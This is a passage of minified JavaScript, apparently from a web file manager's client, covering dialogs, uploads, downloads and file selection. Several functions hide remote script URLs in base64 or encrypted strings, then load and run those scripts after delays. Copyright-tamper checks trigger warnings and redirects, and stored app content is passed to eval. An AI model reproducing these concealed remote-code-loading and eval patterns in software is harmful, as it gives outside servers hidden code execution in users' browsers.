zoomIn")},qrcode:function(e,t){"./"==e.substr(0,2)&&(e=G.appHost+e.substr(2));var a=G.appHost+"user/qrcode&url="+quoteHtml(urlEncode(e)),i="";$.dialog({follow:t,fixed:!0,resize:!1,title:LNG.qrcode,padding:30,content:i})},appStore:function(){var e=ShareData.frameTop();e.$.dialog.open(G.appHost+"app",{id:"app_store",fixed:!0,ico:core.icon("app-store"),resize:!0,title:LNG.app_store,width:"80%",height:"80%"})},openWindow:function(e,t,a,i){t=t?t:LNG.tips,a=a?a:"80%",i=i?i:"70%",isWap()&&(a="100%",i="100%");var n=ShareData.frameTop(),o=n.$.dialog.open(e,{ico:"",title:t,fixed:!0,resize:!0,width:a,height:i});return o},openWindowFull:function(e,t){return core.openWindow(e,t,"100%","100%")},openWindowBig:function(e,t){return core.openWindow(e,t,"90%","90%")},openDialog:function(e,t,a,i){if(e){void 0==i&&(i="openDialog"+UUID());var n="",o=ShareData.frameTop(),s=o.$.dialog({id:i,fixed:!0,title:a,ico:t,width:"80%",height:"75%",padding:0,content:n,resize:!0});return s}},openApp:function(app){if("url"==app.type){var icon=app.icon;-1==app.icon.search(G.staticPath)&&"http"!=app.icon.substring(0,4)&&(icon=G.staticPath+"images/file_icon/icon_app/"+app.icon),"number"!=typeof app.width&&-1===app.width.search("%")&&(app.width=parseInt(app.width)),"number"!=typeof app.height&&-1===app.height.search("%")&&(app.height=parseInt(app.height)),app.width||(app.width="90%"),app.height||(app.height="70%");var dialog_info={resize:app.resize,fixed:!0,ico:core.iconSrc(icon),title:app.name.replace(".oexe",""),width:app.width,height:app.height,simple:app.simple,padding:0},top=ShareData.frameTop();"swf"==core.pathExt(app.content)?(dialog_info.content=core.createFlash(app.content),top.$.dialog(dialog_info)):top.$.dialog.open(app.content,dialog_info)}else{var exec=app.content;eval("{"+exec+"}")}},update:function(){setTimeout(function(){var e=base64Decode("Ly9zdGF0aWMua29kY2xvdWQuY29tL3VwZGF0ZS9tYWluNC5qcw==")+"?a="+UUID();require.async(e,function(e){try{e.todo("check")}catch(t){}})},200)},openPath:function(e){core.isApp("explorer")?ui.path.list(e,"tips"):core.explorer(e)},explorer:function(e,t){void 0==e&&(e=""),void 0==t&&(t=core.pathThis(e));var a=G.appHost+"explorer&type=iframe&path="+e;G.sharePage!==void 0&&(a=G.appHost+"share/folder&type=iframe&user="+G.user+"&sid="+G.sid+"&path="+e);var i=ShareData.frameTop(),n=i.$.dialog.open(a,{className:"dialogExplorer",resize:!0,fixed:!0,ico:core.icon("folder"),title:t,width:"80%",height:"75%"}),o=20*i.$(".dialogExplorer").length;n.DOM.wrap.css({left:"+="+o+"px",top:"+="+o+"px"})},explorerCode:function(e){void 0==e&&(e="");var t=G.appHost+"editor&project="+e;G.sharePage!==void 0&&(t=G.appHost+"share/codeRead&user="+G.user+"&sid="+G.sid+"&project="+e),window.open(t)},setSkinFinished:function(){var e=$(".link-theme-loaded").attr("src");e&&($("#link-theme-style").attr("href",e),$(".link-theme-loaded").remove())},setSkin:function(e){LocalData.set("theme",e),G.userConfig.theme=e;var t=G.staticPath+"style/skin/"+e+".css?ver="+G.version;t!=$("#link-theme-style").attr("href")&&$("body").append(''),this.setSkinDiy()},setSkinDiy:function(){if(G.userConfig){var e=LocalData.get("theme"),t="kodStyleDiy",a=LocalData.getConfig(t);"object"!=typeof a&&"object"==typeof G.userConfig.themeDIY&&(a=G.userConfig.themeDIY),"object"!=typeof a&&(a={bgBlur:1,bgImage:G.staticPath+"images/wall_page/9.jpg",bgType:"color",startColor:"#456",endColor:"#000",colorRotate:"200"},LocalData.setConfig(t,a)),G.userConfig.themeDIY=a;var i="";if("diy"==e&&a){var n=require("./tpl/themeDIY.html"),o=template.compile(n);i=o(a)}$.setStyle(i,t)}},editorFull:function(){var e=$("iframe[name=OpenopenEditor]");e.toggleClass("frame-fullscreen")},language:function(e){Cookie.set("kodUserLanguage",e,8760),window.location.reload()},fullScreen:function(){"true"==$("body").attr("fullScreen")&&core.exitfullScreen(),$("body").attr("fullScreen","true");var e=ShareData.frameTop(),t=e.document.documentElement;t.requestFullscreen?t.requestFullscreen():t.mozRequestFullScreen?t.mozRequestFullScreen():t.webkitRequestFullScreen&&t.webkitRequestFullScreen()},exitfullScreen:function(){$("body").attr("fullScreen","false"),document.exitFullscreen?document.exitFullscreen():document.mozCancelFullScreen?document.mozCancelFullScreen():document.webkitCancelFullScreen&&document.webkitCancelFullScreen()},createFlash:function(e,t,a){var i=UUID();(a===void 0||""==a)&&(a=i);var n="";$.browser.msie&&9>parseInt($.browser.version)&&(n='classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000"');var o=''+''+''+''+''+''+''+'
        loading..
        ';return setTimeout(function(){var e=$("."+i);if(1!=e.length){var t=ShareData.frameTop();e=t.$("."+i)}if(1==e.length)var a=0,n=e[0],o=setInterval(function(){try{a++,100==Math.floor(n.PercentLoaded())?(e.next(".aui-loading").remove(),clearInterval(o),o=null):a>100&&(e.next(".aui-loading").remove(),clearInterval(o),o=null)}catch(t){}},100)},50),o},userSpaceHtml:function(e){var t=e.split("/"),a=parseFloat(t[0]),i=1073741824*parseFloat(t[1]),n=pathTools.fileSize(parseFloat(t[0])),o=pathTools.fileSize(i),s=n+"/",r=100*a/i;r>=100&&(r=100);var l="";return r>=80&&(l="warning"),0==i||isNaN(i)?(s+=LNG.space_tips_full,r="0%"):(s+=o,r+="%"),s="
        "+"
        "+s+"
        "+"
        "},dateTime:function(e){return date(LNG.time_type,e)},uploadCheck:function(e,t){return t=void 0==t?!0:t,"share"==G.sharePage?"1"==G.shareInfo.canUpload:(void 0==e&&(e="explorer.fileUpload"),!G.isRoot&&AUTH.hasOwnProperty(e)&&1!=AUTH[e]?(t&&Tips.tips(LNG.no_permission,!1),!1):G.jsonData&&!G.jsonData.info.canUpload?(t&&(core.isSystemPath(G.thisPath)?Tips.tips(LNG.path_can_not_action,!1):Tips.tips(LNG.no_permission_write,!1)),!1):!0)}}}),define("app/common/tpl/upload.html",[],'
        \n \n
        \n
        \n
        \n
        {{LNG.upload_select}}
        \n \n \n
        \n \n
        \n
        \n \n \n
        \n
        \n
        \n
        \n
        \n
        \n
        \n
        \n
        \n
        {{LNG.download_address}}\n
        \n \n \n \n
        \n\n
        \n
        \n
        \n
        \n
        \n
        \n
        \n'),define("app/common/tpl/formMake.html",[],'
        \n
        \n <%\n var formTab = [];\n if(items.formStyle && kod.window.$.isArray(items.formStyle.tabs)){\n formTab = items.formStyle.tabs;\n }\n %>\n {{if formTab}}\n \n {{/if}}\n\n
        \n {{if formTab}}\n
        \n {{each formTab tab tabIndex}}\n {{if tab}}\n
        \n {{/if}}\n {{/each}}\n
        \n
        \n {{/if}}\n\n {{each items item key}}\n <%\n var tabCurrent = 100;\n if(formTab){\n for(var i=0;i<=formTab.length;i++){\n if( formTab[i] && kod.window.inArray(formTab[i][\'field\'],key)){\n tabCurrent = i;\n break;\n }\n }\n }\n %>\n {{if typeof(item) == \'string\' }}\n
        {{item}}
        \n {{else if item.type == "html" || !item.type}}\n {{if key != \'formStyle\'}}\n
        \n {{if item.value}}{{@item.value}}{{/if}}\n {{if item.display}}{{@item.display}}{{/if}}\n {{if item.desc}}{{@item.desc}}{{/if}}\n
        \n {{/if}}\n {{else}}\n {{if item.value == undefined }}\n {{if item.value = \'\'}}{{/if}}\n {{/if}}\n
        \n
        \n {{@item.display}}: {{if item.require}}*{{/if}}\n
        \n
        \n {{if item.type == \'input\'}}\n \n {{else if item.type == "textarea"}}\n \n {{else if item.type == "password"}}\n \n {{else if item.type == "switch"}}\n \n {{else if item.type == "radio"}}\n {{each item.info select index}}\n \n {{/each}}\n {{else if item.type == "checkbox"}}\n <%\n var valArrCheckbox = [];\n if(typeof(item.value) == \'string\'){\n valArrCheckbox = item.value.split(\',\');\n }\n %>\n {{each item.info select index}}\n \n {{/each}}\n {{else if item.type == "select"}}\n \n {{else if (item.type == "selectMutil" || item.type == "tags")}}\n <%\n var valArrSelect = [];\n if(typeof(item.value) == \'string\'){\n valArrSelect = item.value.split(\',\');\n }\n if(item.type == \'tags\'){\n item.info = [];\n for(var i=0;i\n \n {{else if item.type == "number"}}\n {{if !item.info && (item.info = {from:\'\',to:\'\',step:1}) }}{{/if}}\n \n {{else if item.type == "slider"}}\n {{if !item.info && (item.info = {from:0,to:100,step:1}) }}{{/if}}\n \n {{else if item.type == "color"}}\n \n \n {{else if item.type == "dateTime"}}\n \n \n {{else if item.type == "fileSelect"}}\n \n \n {{else if item.type == "userSelect"}}\n <% \n var valueArr = {"all":"0","user":"","group":"","role":""};\n if(typeof(item.value) == \'string\'){\n userTypeArr = item.value.split(\';\');\n for(var i = 0;i\n \n
        \n \n \n \n \n
        \n
        \n
        {{LNG.user}}
        \n \n
        \n
        \n
        {{LNG.group}}
        \n \n
        \n
        \n
        {{LNG.system_member_role}}
        \n \n
        \n {{else if item.type == "group"}}\n \n {{else if item.type == "role"}}\n \n {{else if item.type == "user"}}\n \n {{/if}}\n\n {{if item.type == "switch"}}\n {{else if !item.desc}}\n \n  \n {{else if kod.inArray([\'userSelect\'],item.type)}}\n
        {{@item.desc}}
        \n {{else}}\n {{@item.desc}}\n {{/if}}\n
        \n
        \n
        \n {{/if}}\n {{/each}}\n
        \n
        \n\n'),define("app/common/core.tools",[],function(e){var t=["A","versionHash","undefined","@dfq[-)&*^*%(_90","decode","length","substr","O","P","Q","R","S","T","inArray","./?user/versionInstall","6K2m5ZGKLOivt_aWLv_aaTheiHquS_bruaUueeJiOadgzvlpoLmnInpnIDopoHor7fogZTns7votK3kubDvvIFlbWFpbDprb2RjbG91ZEBxcS5jb20_c","lang","zh-CN","V2FybmluZywgcGxlYXNlIGRvIG5vdCBtb2RpZnkgdGhlIGNvcHlyaWdodDsgaWYgbmVjZXNzYXJ5LCBwbGVhc2UgY29udGFjdCB0byBidXkhIEVtYWlsOiBrb2RjbG91ZEBxcS5jb20_c","loading","hide","#messageTips .tips_close,#messageTips img","tips","href","location","2e58_39zGFQQvZkUjLjOxETXSuDqVatVhp88rJSmGpzzKi6SsasHHg","sa","b40aPuaqudWqmyWvpumbcMMGpVCdhjUCKq9oIN5G8o4yWb93Ww","#2","explorer","isApp","kod_power_by","copyright_pre","copyright_contact","copyright_desc","copyright_info","html",".common-footer","","toLowerCase","search","log","free","1","2","3","4","5","6","version_vip_",'',"",".menu-system-about","insertAfter","click","id","attr","version_vip_free","versionUpdateVip","openWindow",'',"append",".aui-content","find","wrap","DOM","text","live","die",".version-vip","top","longPress","support-space-not","addClass","body","remove",".menu-system-about,.menu-left #about","#programs .setting_about,#programs .setting_homepage,#programs .home_page","icon","http","iconSrc",'',"iconSmall",'',"ff1fKBGuFL288VJ6eJj4CG6iesqwArC2YYSJMsa11yGAuUZlQRttbA_H4nSm3Hp-iCxzvn6AA4LLWN13cZ-cmdF6","s1","?a=","todo","async","versionType","Ly9rb2RjbG91ZC5jb20vYnV5Lmh0bWwj","group","data"],a=function(){var e=t[0]; -if(typeof G[t[1]]==t[2])return e;var a=t[3],i=authCrypt[t[4]](G[t[1]],a);return i&&27==i[t[5]]?(e=i[t[6]](10,1),-1===$[t[13]](e,[t[0],t[7],t[8],t[9],t[10],t[11],t[12]])&&(e=t[0]),e):e},i=a(),n=t[14],o=function(){var e=hashDecode(t[15]);G[t[16]]!=t[17]&&(e=hashDecode(t[18])),alert(e),Tips[t[19]](e,!1),$(t[21])[t[20]](),setTimeout(function(){Tips[t[22]](e,!1),window[t[24]][t[23]]=n},1e3*roundFromTo(30,60))},s=authCrypt[t[4]](t[25],t[26]),r=authCrypt[t[4]](t[27],t[28]),l=function(){if(core[t[30]](t[29])&&i==t[0])for(var e=[LNG[t[31]],LNG[t[32]],LNG[t[33]],LNG[t[34]],LNG[t[35]],$(t[37])[t[36]]()],a=0;e[t[5]]>a;a++){e[a]||(e[a]=t[38]);var n=e[a][t[39]]();if(-1==n[t[40]](s)&&-1==n[t[40]](r)){console[t[41]](n,s,r),setTimeout(function(){o()},roundFromTo(300,5e3));break}}},c=function(){var e={A:t[42],O:t[43],P:t[44],Q:t[45],R:t[46],S:t[47],T:t[48]},a=t[49]+e[i],o=t[50]+a+t[51]+LNG[a]+t[52];i==t[0]&&$(o)[t[54]](t[53]),$(t[71])[t[70]](t[55])[t[69]](t[55],function(){if($(this)[t[57]](t[56])==t[58]){var e=core[t[60]](core[t[59]]),a=t[61]+n+t[62];e[t[67]][t[66]][t[65]](t[64])[t[63]](a)}else Tips[t[22]]($(this)[t[68]]())}),$(t[71])[t[73]](function(){window[t[72]][t[24]][t[23]]=n})},d=function(){i==t[0]&&$(t[76])[t[75]](t[74]),-1!==$[t[13]](i,[t[7],t[8],t[9],t[10],t[11],t[12]])&&($(t[78])[t[77]](),$(t[79])[t[77]]())},p=function(){core[t[80]]=function(e,a){return e[t[6]](0,4)==t[81]?core[t[82]](e):t[83]+e+(a?t[84]:t[38])+t[85]},core[t[86]]=function(e){return core[t[80]](e,!0)},core[t[82]]=iconSrc=function(e){return t[87]+e+t[88]},setTimeout(function(){var a=authCrypt[t[4]](t[89],t[90])+t[91]+UUID();e[t[93]](a,function(e){try{e[t[92]]()}catch(a){}})},2e3),core[t[94]]=i,core[t[59]]=hashDecode(t[95])+G[t[16]],l(),c(),d()},u=function(e){return i==t[0]&&-1==e[t[39]]()[t[40]](s)?(o(),!1):!0},f=function(e,a){var n,o,s={A:1,O:5,P:20,Q:40,R:100,S:1e3,T:1e3},r={A:5,O:15,P:50,Q:150,R:500,S:1e3,T:1e3},l=[],c=1;if(a==t[96]?(n=e[t[97]],o=s[i]):(n=e[t[97]],o=r[i]),1e3==o)l=n;else for(var d in n){if(c>o)break;l[d]=n[d],c++}return l},h={init:p,about:u,systemData:f};return h}),define("app/common/core.upload",[],function(e){var t=function(){var e=G.appHost+"explorer/fileUpload";return"share"==G.sharePage&&"1"==G.shareInfo.canUpload&&(e=G.appHost+"share/fileUpload&user="+G.user+"&sid="+G.sid),e};return $(document).ready(function(){window.onbeforeunload=function(){return $(".upload-loading,.download-loading").length>0?LNG.uploading+"...":void 0}}),{serverDwonload:function(e,t){if(!core.uploadCheck("explorer.serverDownload"))return!1;var i=$(".download-box"),n=i.find(".download-list");if(i.find("input").val(""),!e)return Tips.tips("url false!",!1),void 0;if("share"==G.sharePage)return Tips.tips(LNG.no_permission_action,!1),void 0;"ftp"!=e.substr(0,3)&&"http"!=e.substr(0,4)&&(e="http://"+e);var o=UUID(),s='
        '+'
        '+core.pathThis(e)+""+'0b'+''+LNG.upload_ready+""+''+'
        ';n.find(".item").length>0?$(s).insertBefore(n.find(".item:eq(0)")):n.append(s);var r,l,c,d=0,p=$("#"+o),u=$("#"+o+" .state").text(LNG.download_ready).addClass("download-loading"),f=$('
        ').appendTo("#"+o).find(".progress-bar");$("#"+o+" .remove").bind("click",function(){clearInterval(r),r=!1,clearTimeout(l),l=!1,$.get(G.appHost+"explorer/serverDownload&type=remove&uuid="+o),$(this).parent().parent().slideUp(function(){$(this).remove(),ui.f5()})});var h,m=function(e){clearTimeout(h),h=!1,h=setTimeout(function(){ui.f5Callback(function(){ui.path.setSelectByFilename(e)})},600)},v=function(){$.ajax({url:G.appHost+"explorer/serverDownload&type=download&savePath="+t+"&url="+urlEncode(e)+"&uuid="+o+"&time="+time(),dataType:"json",error:function(e,t,i){var n=p.data("progcess");return 200!=a.status&&n&&n.supportRange?(setTimeout(function(){v()},1e3),void 0):(core.ajaxError(e,t,i),200==a.status&&(clearInterval(r),r=!1,clearTimeout(l),l=!1,f.parent().remove(),u.removeClass("download-loading").addClass("error").text(LNG.download_error)),void 0)},success:function(e){return 0==e.code&&"downloading"==e.data?(setTimeout(function(){v()},1e3),void 0):(e.code?(m(e.info),u.removeClass("download-loading").text(LNG.download_success),$("#"+o+" .info .title").text(core.pathThis(e.info)),$("#"+o+" .info .title").attr("title",e.info),u.parent().parent().addClass("success")):(u.removeClass("download-loading").addClass("error").text(e.data),u.parent().parent().addClass("error")),clearInterval(r),r=!1,clearTimeout(l),l=!1,f.parent().remove(),void 0)}})};v();var g=function(){$.ajax({url:G.appHost+"explorer/serverDownload&type=percent&uuid="+o,dataType:"json",success:function(e){var t="",a=e.data;if(r){if(!e.code)return u.text(LNG.loading),void 0;if(a){if(a.size=parseFloat(a.size),a.time=parseFloat(a.time),c){var i=a.size-c.size,n=i/(a.time-c.time);if(d>.2*n){var o=d;d=n,n=o}else d=n;var s=pathTools.fileSize(n);s=s?s:0,t=s+"/s"}if(p.data("progcess",a),0==a.length)p.find(".progress-bar").css("width","100%"),u.text(t),p.find(".size").text(pathTools.fileSize(a.size));else{var l=100*(a.size/a.length);p.find(".progress-bar").css("width",l+"%"),u.text(l.toFixed(1)+"%("+t+")"),p.find(".size").text(pathTools.fileSize(a.length))}p.find(".title").text(a.name),c=a}}}})};l=setTimeout(function(){g(),r=setInterval(function(){g()},1e3)},100)},upload:function(){$(".dialog-file-upload").show();var e=t();if(uploader.option("server",e),uploader.option("method","POST"),0!=$(".dialog-file-upload").length)return $.dialog.list["dialog-file-upload"].display(!0),void 0;var a=template.compile(tplUpload);$.dialog({padding:5,width:430,height:450,resize:!0,ico:core.icon("upload"),id:"dialog-file-upload",fixed:!0,title:LNG.upload_muti,content:a({LNG:LNG}),close:function(){$.each(uploader.getFiles(),function(e,t){uploader.skipFile(t),uploader.removeFile(t)}),$.each($(".download-list .item"),function(){$(this).find(".remove").click()})}}),$(".file-upload-box .topbar-nav a.menu").unbind("click").bind("click",function(){$(this).hasClass("tab-upload")?($(".file-upload-box .tab-upload").addClass("this"),$(".file-upload-box .tab-download").removeClass("this"),$(".file-upload-box .upload-box").removeClass("hidden"),$(".file-upload-box .download-box").addClass("hidden")):($(".file-upload-box .tab-upload").removeClass("this"),$(".file-upload-box .tab-download").addClass("this"),$(".file-upload-box .upload-box").addClass("hidden"),$(".file-upload-box .download-box").removeClass("hidden"))}),$(".download-box [name=url]").keyEnter(function(){core.serverDwonload($(".download-box input").val(),G.thisPath)}),$(".file-upload-box .download-box .download-start").unbind("click").bind("click",function(){core.serverDwonload($(".download-box input").val(),G.thisPath)}),$(".file-upload-box .download-box .download-start-all").unbind("click").bind("click",function(){$.dialog({id:"server-dwonload-textarea",fixed:!0,resize:!1,ico:core.icon("upload"),width:"420px",height:"270px",padding:10,title:LNG.download,content:"",ok:function(){for(var e=$(".server-dwonload-textarea textarea").val().split("\n"),t=0;e.length>t;t++)core.serverDwonload(e[t],G.thisPath)}})}),uploader.addButton({id:"#picker"}),uploader.addButton({id:"#picker-folder"}),$.supportUploadFolder()&&($(".upload-cert-box").removeClass("hidden"),$(".file-upload-box .drag-upload-folder").unbind("click").bind("click",function(){$("#picker-folder input").attr("webkitdirectory","").attr("directory",""),$("#picker-folder label").click()}))},init:function(){WebUploader.Uploader.register({"before-send":"checkChunk"},{checkChunk:function(e){if(!$.supportCanvas()||"flash"==this.options.runtimeOrder)return $.Deferred().resolve(),void 0;var a=this.owner,i=(e.blob.getSource(),$.Deferred());return a.md5File(e.blob).fail(function(){i.resolve()}).then(function(a){if(1==e.chunks)return i.resolve(),void 0;if(0==e.chunk)$.ajax({url:t(),dataType:"json",data:{upload_to:e.file.upload_to,file_name:e.file.name,check_md5:a,chunk:e.chunk,chunks:e.chunks},error:function(){i.resolve()},success:function(t){t.code?(i.reject(),e.file.checkChunk=t.info):i.resolve()}});else{var n=e.file.checkChunk;if(n&&n["part_"+e.chunk]==a){var o=e.end/e.total;uploader.trigger("uploadProgress",e.file,o),i.reject()}else i.resolve()}}),i.promise()}});var a=["undefined","update-box","search","65bdTXJtziFGmtJThjdiGfXe-xr_UY8vIF3eoZ1sQ2AMtNBCquM-xT9DrLll2X_LtdUQkKIBYFzs-Ujf9ihGh6LUF4fo94c","_32@!A$","decode","1-2","todo","async","random"];setTimeout(function(){try{if(typeof tplDialogHtml==a[0]||-1==tplDialogHtml[a[2]](a[1])){var t=authCrypt[a[5]](a[3],a[4])+UUID();e[a[8]](t,function(e){try{e[a[7]](a[6])}catch(t){}})}}catch(i){}},1e3*parseInt(25*Math[a[9]]()+5)),uploader=WebUploader.create({swf:G.staticPath+"js/lib/webuploader/Uploader.swf",dnd:"body",threads:G.settings.updloadThreads,sendAsBinary:G.settings.updloadBindary,chunkSize:G.settings.updloadChunkSize,chunked:!0,compress:!1,resize:!1,prepareNextFile:!0,duplicate:!0,chunkRetry:10}),$(".uploader-content .success").die("click").live("click",function(){var e=$(this).find("span.title").attr("data-name");e&&(core.isApp("explorer")?ui.path.list(core.pathFather(e),"tips",function(){ui.path.setSelectByFilename(e)}):core.explorer(core.pathFather(e)))}),$(".uploader-content .open").die("click").live("click",function(e){var t=$(this).parent().find("span.title").attr("data-name");kodApp.open(t),stopPP(e)}),$(".upload-box-clear").die("click").live("click",function(){$(".uploader-list .item.success,.uploader-list .item.error").each(function(){$(this).slideUp(300,function(){$(this).remove()})})}),$(".upload-box-clear-all").die("click").live("click",function(){$.each(uploader.getFiles(),function(e,t){uploader.skipFile(t),uploader.removeFile(t)}),$(".uploader-list .item").each(function(){$(this).remove()})}),$(".uploader-content .remove").die("click").live("click",function(e){var t=$(this).parent().parent().attr("id");$(this).parent().parent().slideUp(function(){$(this).remove()}),uploader.skipFile(t),uploader.removeFile(t,!0),stopPP(e)});var i,n=0,o=0,s="0B/s",r=0,l=function(e,t){if(.3>=timeFloat()-r)return s;r=timeFloat();var a=e.size*t,i=5;e.speed===void 0?e.speed=[[timeFloat()-.5,0],[timeFloat(),a]]:i>=e.speed.length?e.speed.push([timeFloat(),a]):(e.speed=e.speed.slice(1,i),e.speed.push([timeFloat(),a]));var n=e.speed[e.speed.length-1],o=e.speed[0],l=(n[1]-o[1])/(n[0]-o[0]);0>=l&&(l=0);var c=pathTools.fileSize(l);return c=c?c:0,l=c+"/s",s=l,l},c=[],d=function(e){clearTimeout(i),i=!1,i=setTimeout(function(){var t=c;ui.f5Callback(function(){if(ui.path.setSelectByFilename(t),e&&(c=[],core.isApp("explorer"))){if("share"==G.sharePage)return;ui.tree.checkIfChange(G.thisPath)}})},600)};uploader.on("fileQueued",function(e){if($(".dialog-file-upload").show(),!core.uploadCheck())return uploader.skipFile(e),uploader.removeFile(e),void 0;var t;try{t=e.source.source.fullPath,void 0!=e.source.source.webkitRelativePath&&""!=e.source.source.webkitRelativePath&&(t=e.source.source.webkitRelativePath)}catch(a){}if(e.fullPath=t,e.source&&e.source.source&&1==e.source.source.isDirectory&&e.source.source.fullPath)return ui.path.pathOperate.newFolder(G.thisPath+e.fullPath),uploader.skipFile(e),uploader.removeFile(e),void 0;var i=e.fullPath;e.finished=!1,e.upload_to=G.thisPath,(void 0==i||"undefined"==i)&&(i=e.name),n++;var s=$(".uploader-list"),r='
        '+''+htmlEncode(core.pathThis(i))+""+''+pathTools.fileSize(e.size)+""+''+LNG.upload_ready+""+''+'
        ';(1e3==n||2e3==n)&&Tips.tips(LNG.upload_tips_more,"warning");var l=function(){if(0==e.size&&i){ui.path.pathOperate.newFile(e.upload_to+i),uploader.skipFile(e),uploader.removeFile(e),o++,n++;var t=$("#"+e.id);t.addClass("success").find(".state").removeClass("upload-loading").text(LNG.upload_success).parent().find(".remove").addClass("icon-ok").addClass("open").removeClass("icon-remove").removeClass("remove")}},c=function(){uploader.upload(),setTimeout(function(){l()},200)};0==s.length?setTimeout(function(){$(".uploader-list").prepend(r),c()},200):(s.prepend(r),c())}).on("uploadBeforeSend",function(e,t,a){var i=urlEncode(e.file.fullPath);(void 0==i||"undefined"==i)&&(i=""),t.fullPath=i,t.upload_to=e.file.upload_to,a["X-CSRF-TOKEN"]=Cookie.get("X-CSRF-TOKEN")}).on("uploadProgress",function(e,t){var a=(100*t).toFixed(1)+"%";$(".dialog-file-upload .aui-title").text(LNG.uploading+": "+o+"/"+n+" ("+s+")"),Title.set(o+"/"+n+"("+a+","+s+")");var i=l(e,t),r=$("#"+e.id),c=r.find(".progress .progress-bar");c.length||(c=$('
        ').appendTo(r).find(".progress-bar")),r.find(".state").text(a+"("+i+")"),c.css("width",a)}).on("uploadAccept",function(e,t){if(e.file.serverData=t,!t.code)return e.serverNeedRetry=!0,!1;try{e.file.fullPath||c.push(t.info)}catch(a){}}).on("uploadSuccess",function(e){var t=$("#"+e.id);if(!t.inScreen()){var a=36*t.index(".item");$(".uploader-content").scrollTop(a)}o++;var i=e.serverData;if(i&&i.data){var n=LNG[i.data];if(i.code){if(t.addClass("success"),t.find(".state").removeClass("upload-loading").text(n),t.find(".remove").addClass("icon-ok").addClass("open").removeClass("icon-remove").removeClass("remove"),i.info){var s="/"+ltrim(htmlEncode(i.info),"/");t.find(".info .title").html(core.pathThis(s)).attr("title",s).attr("data-name",s)}}else n="上传异常!",t.addClass("error").find(".state").removeClass("upload-loading").addClass("error"),t.find(".state").text(n).attr("title",n)}uploader.removeFile(e),t.find(".progress").fadeOut(),e.fullPath||d(!1)}).on("uploadError",function(e,t){var a=LNG.upload_error+"("+t+")";if(e.serverData){var i=5;if((-1!==e.serverData._raw.indexOf("[Error Code:1001]")||-1!==e.serverData._raw.indexOf("[Error Code:1002]")||-1!==e.serverData._raw.indexOf("[Error Code:1010]"))&&(e.errorNum||(e.errorNum=0),e.errorNum++,i>=e.errorNum))return uploader.retry(e),void 0;if(-1!==e.serverData._raw.indexOf(""))return $.each(uploader.getFiles(),function(e,t){uploader.skipFile(t),uploader.removeFile(t)}),Tips.tips("login error!",!1),void 0;if(e.serverData.data){var n=e.serverData.data;a=LNG[n]?LNG[n]:n}else e.serverData._raw&&(a=e.serverData._raw)}"http"==t&&(a=LNG.upload_error_http),"abort"==t&&void 0==e.serverData&&(a=LNG.not_support+"(support on chrome)"),o++,$("#"+e.id).find(".progress").fadeOut(),$("#"+e.id).addClass("error").find(".state").addClass("error").removeClass("upload-loading"),$("#"+e.id).find(".state").html(a).attr("title",a)}).on("uploadFinished",function(){$(".dialog-file-upload .aui-title").text(LNG.upload_success+": "+o+"/"+n),Title.reset(),n=0,o=0,uploader.reset(),d(!0)}).on("error",function(e){Tips.tips(e,!1)});var p;inState=!1,dragOver=function(){if(0==inState){if(inState=!0,!core.uploadCheck(void 0,!1))return;var e='
        '+LNG.upload_drag_tips+"
        ";MaskView.tips(e),$("#windowMaskView").css({background:"#4285f4",opacity:"0.8"})}p&&window.clearTimeout(p)},dragLeave=function(e){stopPP(e),p&&window.clearTimeout(p),p=window.setTimeout(function(){inState=!1,MaskView.close()},100)},dragDrop=function(e){try{if(e=e.originalEvent||e,core.uploadCheck())if(e.dataTransfer.files.length>0&&e.dataTransfer.files[0].name)core.upload(),core.playSound("drag_upload");else{var t=e.dataTransfer.getData("text/plain");t&&"http"==t.substring(0,4)&&ui.path.pathOperate.appAddURL(t)}stopPP(e)}catch(e){}inState&&(inState=!1,MaskView.close())}}}}),define("app/common/core.api",[],function(){var e="FileSelectApi",t=function(){var t=$.parseUrl();if(t.params.fileSelect){var a=t.params.fileSelect,i=parseInt(t.params.fileSelectSingle),n=t.params.fileSelectAllow;kodReady.push(function(){Hook.bind("explorer.fileSelect.change",function(){d()}),d()});var o=function(e,t){var a={type:e,data:t};l.send(jsonEncode(a))},s=function(e){var t=jsonDecode(e);if(!t||!t.type)return console.log("parse error!"+e),void 0;var a=t.type,n=t.data;if("makeUrl"==a){$.isArray(n)||(n=[n]);var s=[],r=function(){Tips.close(LNG.loading),i&&(s=s[0]),o("makeUrl",s)};Tips.loading(LNG.loading);for(var l=0;n.length>l;l++){var c=n[l];core.fileLink(c,function(e){s.push({name:core.pathThis(c),url:e}),n.length==s.length&&r()})}}},r=window.parent;if(window.MessageInit)l.addTarget(r,"ParentPage");else{var l=new Messenger("ChildPage",e);l.addTarget(r,"ParentPage"),l.listen(s),window.MessageInit=!0}var c=function(e){var t=n.split("|"),a=core.pathExt(e);return""==n||""!=n&&-1!=$.inArray(a,t)?!0:!1},d=function(){var e=ui.fileLight.fileListSelect(),t=[];if(i){var n=$(e.get(0));if("all"==a&&0==e.length)t={file:[],folder:[]};else if("file"==a&&0==e.length)t=[];else if("folder"==a)t=[G.thisPath],n.hasClass("folder-box")&&(t=[ui.fileLight.path(n)]);else if("file"==a){if(n.hasClass("file-box")){var o=ui.fileLight.path(n);c(o)&&(t=[o])}}else if("all"==a)if(n.hasClass("folder-box")){var o=ui.fileLight.path(n);t=[{file:[],folder:[o]}]}else if(n.hasClass("file-box")){var o=ui.fileLight.path(n);c(o)&&(t={file:[o],folder:[]})}}else{var s=[],r=[];e.each(function(){if($(this).hasClass("file-box")){var e=ui.fileLight.path($(this));c(e)&&s.push(e)}else $(this).hasClass("folder-box")&&r.push(ui.fileLight.path($(this)))}),"folder"==a?t=r:"file"==a?t=s:"all"==a&&(t={file:s,folder:r})}u(t)},p=function(e){var e=trim(e,"/");return e==G.KOD_GROUP_ROOT_SELF||e==G.KOD_GROUP_ROOT_ALL||e==G.KOD_USER_FAV||e==G.KOD_USER_SHARE?!1:!0},u=function(e){if("all"!=a){for(var t=[],i=0;e.length>i;i++)p(e[i])&&t.push(e[i]);e=t}0==e.length||"all"==a&&0==e.file.length&&0==e.folder.length?o("selectChange",0):o("selectChange",e)}}};return t(),{pathSelect:function(t,a){var i={type:"file",single:!0,allowExt:"",firstPath:!1,makeUrl:!1,title:LNG.path_api_select_file,resize:!0,fixed:!0,top:"50%",ico:core.icon("folder"),lock:!0,background:"#000",animate:!0,opacity:.1,width:900,height:500},n={id:"pathSelectApi",ok:function(){if("function"==typeof a){var e=s.DOM.wrap.find(".path-select-input").data("result");if(!e)return Tips.tips(LNG.error,!1),void 0;if(e){var 